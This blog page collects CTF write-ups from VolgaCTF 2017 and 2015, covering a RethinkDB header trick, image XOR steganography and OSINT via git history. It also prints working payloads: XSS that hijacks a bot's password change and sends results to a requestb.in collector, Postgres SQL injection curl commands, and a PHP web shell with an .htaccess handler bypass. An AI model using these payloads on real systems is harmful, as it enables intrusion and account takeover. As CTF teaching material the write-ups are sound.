Showing posts with label Volga. Show all posts
Showing posts with label Volga. Show all posts

Monday, March 27, 2017

VolgaCTF 2017 Quals - Corp News (300)




Challenge Description:

We have created an excellent service for obtaining corporate news. You never know the secret information
corp-news.quals.2017.volgactf.ru
corp-news2.quals.2017.volgactf.ru

Hints

Some errors may shed light on what is there on the backend

This challenge was a lot of fun, it was a mix of 2 bugs and required a little recon to find out more about the technology on the server.

First, when poking around the server, it displayed errors in the standard NodeJS Express way, so we could assume for now it's running a Node server. Ex.:

http://corp-news.quals.2017.volgactf.ru/unknown-page

Cannot GET /unknown-page


Next we started looking at the cookies, this is where it got a little odd. We know the server is running Node & Express, why is there a cookie called PHPSESSIONID? What kind of mad world are we living in?!

PHPSESSID=s%3AtUPAeIpyJ6fxkjO495aXXk8uoeBLiPMx.oOGUyrAXrM%2FDwbeidRiY3WMVuYTLZOF1QdBX5uZnOiA

It turns out this had nothing to do with the rest of the challenge, maybe just a strange developer decision to keep similar names when dealing with sessions...


Once we're logged in, it redirects us to a profile page, the only feature on this page is a button to change our own password. There doesn't seem to be any apparent reason we would want to do this initially. Looking at the source it seemed fairly standard, the one interesting part to note is that there was some sort of CSRF token being passed to the backend for this page.



Home doesn't have much on it, so the next page to look at is News.



On the News page we get a small welcome message with a randomly generated username, a comment submission and a button to retrieve "private news".  Reading private news sounds like an attractive target, so let's start there.  When clicking this button we get a message written below saying:

Please, set debug header true, becouse the app in developing state:)


They want us to set some debug header, so let's see what we can modify. Initially we tried many different ideas. Sending HTTP headers, including 'debug=true', or 'debug:true' in the data of the post request, visiting News with ?debug=true, etc. It really came down to understanding what type of backend was setup.

First looking at the request in the front-end code, we can see some opportunities for modification:

...
<button onclick="loadNews()" class="btn btn-primary">Read private news</button>
...

function loadNews() {
    var data = {
    'resultFormat': 'text'
    }
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}

If we copy this function into the developer console and remove 'text' from the 'resultFormat' in data, we start to see an interesting error:

Error: `result_format` (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).


When looking up '"result_format" javascript nodejs' on Google we find this issue on GitHub: https://github.com/rethinkdb/docs/issues/306#issuecomment-44475230

Under Optargs, this mentions: 'result_format=( text | json | jsonp | auto ): choose how to format the result (see below); default="auto"'

This looks very familiar! It sounds like we're working with RethinkDB on the backend!

Looking at the ReQL command reference on rethinkdb's site, we see the same options reflected back in the error - https://www.rethinkdb.com/api/javascript/http/#general-options

This was nice when verifying we were really working with RethinkDB. Any keys added to data which were invalid, would throw, otherwise it would silently succeed. Displaying the adjacency between our dynamic tests and the documentation.

The interesting part of the ReQL documentation was the Request Options, this showed us a place for headers & db query params:
https://www.rethinkdb.com/api/javascript/http/#request-options

method: HTTP method to use for the request. One of GET, POST, PUT, PATCH, DELETE or HEAD. Default: GET.
auth: object giving authentication, with the following fields:
type: basic (default) or digest
user: username
pass: password in plain text
params: object specifying URL parameters to append to the URL as encoded key/value pairs. { query: 'banana', limit: 2 } will be appended as ?query=banana&limit=2. Default: no parameters.
header: Extra header lines to include. The value may be an array of strings or an object. Default: Accept-Encoding: deflate;q=1, gzip;q=0.5 and User-Agent: RethinkDB/.
data: Data to send to the server on a POST, PUT, PATCH, or DELETE request. For POST requests, data may be either an object (which will be written to the body as form-encoded key/value pairs) or a string; for all other requests, data will be serialized as JSON and placed in the request body, sent as Content-Type: application/json. Default: no data will be sent.


The params feature would be great to control, unfortunately this did not work in this situation, and wasn't the intended target for this application. The key 'header' is very interesting for us, it allows us to inject custom headers which RethinkDB may use for various purposes. In this case, we're adding the custom debug flag:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}


After loading this new patch, we can see it returns a different response:

VolgaCTF is an international inter-university cybersecurity competition organised by a group of IT enthusiasts based in Samara, Russia.VolgaCTF 2017 Quals is an online competition. Top teams will be invited to participate in VolgaCTF 2017 Finals, which will be held in Samara, Russia.Registration for the competition will be opened at the end of February.

This was very nice to see, some progress that we're moving forward. Next let's look at the comment form.

When sending a standard comment, a small flash message pops up and disappears, nothing else noticeable happens.

Thank you, for your answer, my friend!:)

This seems like a good place to test for XSS. After setting up a small remote server, we can see the request go through.

For this article, I'll be setting up small tests on https://requestb.in/ to test it out again (very useful for this situation).

First we send a very simple XSS test to fingerprint the browser and figure out what we're working with:

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
  $.post("http://requestb.in/wtmd3swt", "SUCCESS!")
</script>

This returns the following values (including the success message):

Connect-Time: 1
X-Request-Id: 034f6890-6cc8-429a-9408-1f8cd4720112
Accept: */*
Cf-Visitor: {"scheme":"http"}
Total-Route-Time: 0
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Host: requestb.in
Cf-Connecting-Ip: 77.244.214.227
Accept-Encoding: gzip
Accept-Language: en-US,*
Via: 1.1 vegur
Origin: http://127.0.0.1:3000
Cf-Ray: 34604e8380f74f38-DME
Content-Length: 8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Referer: http://127.0.0.1:3000/bot
Cf-Ipcountry: RU

There were Three notable pieces of information here. First was that this came from an automated PhantomJS browser. Second was the referrer mentioning the term bot as well as the idea that the bot was most likely on the same box as the server: 'http://127.0.0.1:3000/bot'. The third chunk of information was that this server was running on port 3000, not what we expect since we originally visited the application over port 80. If we check port 300 it does exist on the server (without many of the resources) - http://corp-news.quals.2017.volgactf.ru:3000/

So we have some randomly created user (and their name from the comment box) running our script, maybe we should go back to that profile section and see if we can change this user's password?

With a simple script we can pull the profile page for the bot at '/lk' and check the CSRF token setup. Taking this token we can pass it along to the '/change_password' route and send a success or failure message to another request bin - https://requestb.in/1hvn43r1?inspect

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
var SERVER = 'http://requestb.in/1hvn43r1';
var P = "__s0m3Passw0rdH3r3__";

$.get('/lk', function(d) {
  var t = $(d).find('.control-group .invisible').text();
  var data = { "new_password": P, "confirm_password": P, "token": t };
  $.ajax({
    type: 'POST',
    url: '/change_password',
    contentType: 'application/json',
    data: JSON.stringify(data),
    success: function(xhr) {
      $.post(SERVER, 'SUCCESS!!!');
    },
    error: function(xhr) {
      $.post(SERVER, 'ERRZ');
    }
  });
});
</script>


Looks like it worked! Now we can login as this user!

Immediately we see a difference after we login:

It looks like we've got a 'secret' header value to try out.  Let's go back to the News section and insert it into the header section.

Setting the loadNews() function up again with the new 'secret' value:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'secret': 'asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7',
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}



And we have the flag!

VolgaCTF{rethinkdb_nearly_without_nosqlInj_and_some_clientside}


Sunday, March 26, 2017

VolgaCTF 2017 Quals - VC (50)


This was a very quick one, instantly saw this coming with the low point score, two images and description:

There are files A.png and B.png. But where's the flag?



Primarily posting this to show off a feature in StegSolve.

After loading StegSolve, open up the first png, (File > Open > [choose A.png]).
Next go to Analyse > Image Combiner, and select B.png.
The first option XOR should instantly solve this challenge (for other algorithms, use the left and right arrow to preview them).

You may then save the result for later use : )


VolgaCTF 2017 Quals - Bloody Feedback (100)



Disclaimer: During this challenge, I binge watched all of Black Books. This explains the memes below.

Starting out we're presented with a feedback form to submit some data (name, email, message).

There was also an input field at the top right looking like a search box.  Immediately tried putting a tick mark there to see if an error would be reflected:



This will send us to http://bloody-feedback.quals.2017.volgactf.ru/check/?code=%27.
Immediately inferring this is a perl application looking at the file extension noted in the error: Worker.pm

After playing around with the code looking for command-injection it turns out the application would accept any 32 byte string within the character range [A-Za-z0-9].  Looks like we couldn't get too far with this.

Valid URL ex.: http://bloody-feedback.quals.2017.volgactf.ru/check/?code=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


The next area to check was the initial feedback form.  Email had to be turned on, which seemed to be a good field to play with.

This seemed to have a very simple front-end validation setup for email, where type="email" in the markup.

Any feedback submitted is displayed in the "Top Messages" section, except the email field.  This helped when testing for XSS / CSRF, SQLi, etc.  But "Top Messages" did not seem to be reflecting any errors or execution.

Next we try an invalid email, maybe a quote mark to check for SQLi:


Sooooo, looks like SQLi, right?

If we look up DBD::Pg::db, we find the reference http://search.cpan.org/dist/DBD-Pg/Pg.pm
Also from looking at it, one could infer this is a Postgres db.

Let's try a few different types of injections until we get back to a non-error state!

First to get this into a scriptable state, we'll dump the cURL command from Chrome's Developer Tools.  In the network tab, go to the submission request, right click > Copy > Copy as cURL.

After pasting this on the command-line, hitting ctrl+x+e we can open in $EDITOR (currently set to VIM for this session).  In VIM we can use :%s/-H/-H \\\r/g to clean up the lines of the request.  Now we can go ahead and delete most of the headers which won't be used in this challenge.  This ends up turning into a one-liner, but for other challenges this may be different.

$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=x&message=x&email='" 

This will dump the page contents and we can grep for any errors that get reflected back:

$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=',version())-- - " | grep -i error -A6

This will dump:

ERROR: DBD::Pg::db do failed: ERROR:  value too long for type character varying(30) at Worker.pm line 29.

It looks like version() returns a string that's too long, so we can cut it using substr().

$ curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', substr(version(), 0, 30))-- - "
...
<p><h3>Check status</h3><a href='/check/?code=Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI'>Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI</a></p>
...


Now let's do something a little more interesting....

To get the table names we can query pg_catalog.pg_tables for tablename, this will return multiple rows, if we set a limit and offset, we can enumerate all values.

url 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (SELECT tablename FROM pg_catalog.pg_tables limit 1 offset 1)) -- - "



So we've got the table name, now we need to find any interesting column names, we can do that by looking at column_name in information_schema.columns:

curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select column_name from information_schema.columns limit 1 offset 6 )) -- - "




Now when we combine those two together:

curl 'http://bloody-feedback.quals.2017.volgactf.ru/submit/' --data "name=n&message=m&email=', (select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 4 )) -- - "



VolgaCTF 2017 Quals - SharePoint (200)


This CTF was a lot of fun, we ended up solving six challenges and landing in the top 100 which didn't seem too bad for 1-2 of us playing. Also learned about a few topics in the process.

SharePoint was a web challenge which starts out with a login form. Most of the web challenges consisted of a similar authentication method. Simply login with any creds you'd like to use (restricted to regular expression with length > 7), and it'll register / sign-in to that user account, probably setup this way for simplicity.


After logging in, we're presented with a web application that allows you to upload and share files with other users.

The first thought on a web application like this is: File Upload -> LFI. It turns out this was exactly what it was, with a small twist.

Uploading the obvious example, a php web-shell caused an error to be displayed.  It probably filters based on filename extension, such as php, html, etc.  Uploading the web shell as a png seemed to work, but the server wouldn't execute php in this file by default.

Looking at the share functionality we could see that it just performs a php copy() operation from one user's files directory to another.  It also seemed as if we could traverse up the directory structure to pull files such as ../../index.php, ../../.htaccess, etc.  Unfortunately during the challenge we didn't find an easy way to read these files, so this wasn't very helpful.

What we can do is setup our own .htaccess file since we have control over a full directory and the names / content of the files uploaded do not change. We may also want to see the directory contents and add our own executable php format to the server to get around the file extension restriction. To do this we can add the following rules to a small .htaccess file and upload it to the server:

Options +Indexes
AddHandler application/x-httpd-php .vv
AddType application/x-httpd-php .vv
AddType application/x-httpd-php5 .vv

We'll also upload a very simple web shell to the server to get code exection:

<pre><?php echo system($_GET['c']); ?></pre>


Visiting the link to the shell and passing in a command seems to work:
http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=uname+-a

Linux cs76582 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux


Now to look for something more interesting, the flag:
http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=find+/+-type+f+|+grep+flag

...
/opt/flag.txt
...

There were many files listed, a hint mentioned the flag was in an 'optimal' location, referencing /opt.
Checking out this file (/opt/flag.txt), we get:

http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=cat+/opt/flag.txt

VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP}


Loved this challenge, and learned a little about Apache rules in the process!

Sunday, May 3, 2015

Volga CTF 2015 - Find Him (Recon) 250

Volga was a fun CTF, with many Recon and Stego challenges as well as challenging pwnables and reversing.  One of the challenges I helped with the most was the "Find Him" recon assignment.  You were given one hint to start with: "Find Greg Medichi he is from Sydney, his code contains a valuable data"

Simple enough, let's search google for an exact match of his name "Greg Medichi"
Cool, only 3 results!  And one of them is the Sydney G+ page, let's check it out.
Search on the page for his name again, hmmmmm no dice, but it was crawled returning his name so it must be in a comment or in the cache.  Cache didn't show a readable page so the next choice was to look through the source.  After pulling up the Chrome's element inspector and searching again for his name, it showed up in a few places.  Now is the point of preference, but I thought it may be a lot easier to search through this on the terminal, so I curled the G+ Sydney page to find a link to his profile image and personal G+ page.

Next after curling his G+ page I grepped for 'code' which returned a post to his github account.

After checking out his github page, he only had one repo with no other contributions.  The flag must be close....
Looking through the repo it looked like .gitignore could be interesting, but then there was also another branch.  After checking out the branch, the flag was found in a previous commit.

Simple Example Workflow:

curl https://plus.google.com/+Sydney | grep -i "greg medichi" | tr '"' '\n' | egrep -i "greg|http" | tail -n 3

G+ Profile Image: https://lh3.googleusercontent.com/-M-UOwrBR81s/AAAAAAAAAAI/AAAAAAAAABM/LA55YSwP-Bg/photo.jpg
G+ Profile Page: https://plus.google.com/100247380806038877359
curl https://plus.google.com/100247380806038877359 | grep -i code | tr '"' '\n' | grep -i greg | tail -n 3

Check out the github account... Only one repo....
git clone https://github.com/gregmedichi/todoapp
cd todoapp
git branch -a

Find the other branch "front_end"
git checkout origin/front_end
git log

Found a log entry mentioning "unfinished" changes
git checkout 6b5334844a19413124605b77507437924d233f27
git diff master

String Found in Diff:
+          <!-- TODO Add a logic Fl@g={LURK1NG_G1T_1S_PHUN} -->